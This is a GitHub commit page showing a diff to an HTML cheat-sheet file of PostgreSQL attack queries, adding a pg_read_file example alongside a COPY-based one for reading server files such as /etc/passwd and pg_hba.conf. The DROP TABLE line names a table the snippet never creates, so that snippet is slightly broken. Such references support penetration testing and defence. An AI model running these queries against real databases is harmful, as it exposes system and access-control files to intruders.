Skip to content

Commit 499f367

Browse files
committed
Added file read option for postgresql
1 parent 6abc5f2 commit 499f367

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

attackQueries/readingAndWritingFiles/postgresql.html

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,14 +13,20 @@ <h3 id="reading-and-writing-files">Reading and Writing Files</h3>
1313
</thead>
1414
<tbody>
1515
<tr>
16-
<td>Read Files from Operating System</td>
16+
<td>Read Files from Operating System - COPY</td>
1717
<td>
1818
CREATE TABLE mydata(t text);<br>
1919
COPY mydata FROM '/etc/passwd';<br>
2020
SELECT * FROM mydata;<br>
2121
DROP TABLE mytest mytest;<br>
2222
</td>
23-
</tr>
23+
</tr>
24+
<tr>
25+
<td>Read Files from Operating System - pg_read_file</td>
26+
<td>
27+
SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200);
28+
</td>
29+
</tr>
2430
<tr>
2531
<td>Writing Files from Operating System</td>
2632
<td>

0 commit comments

Comments
 (0)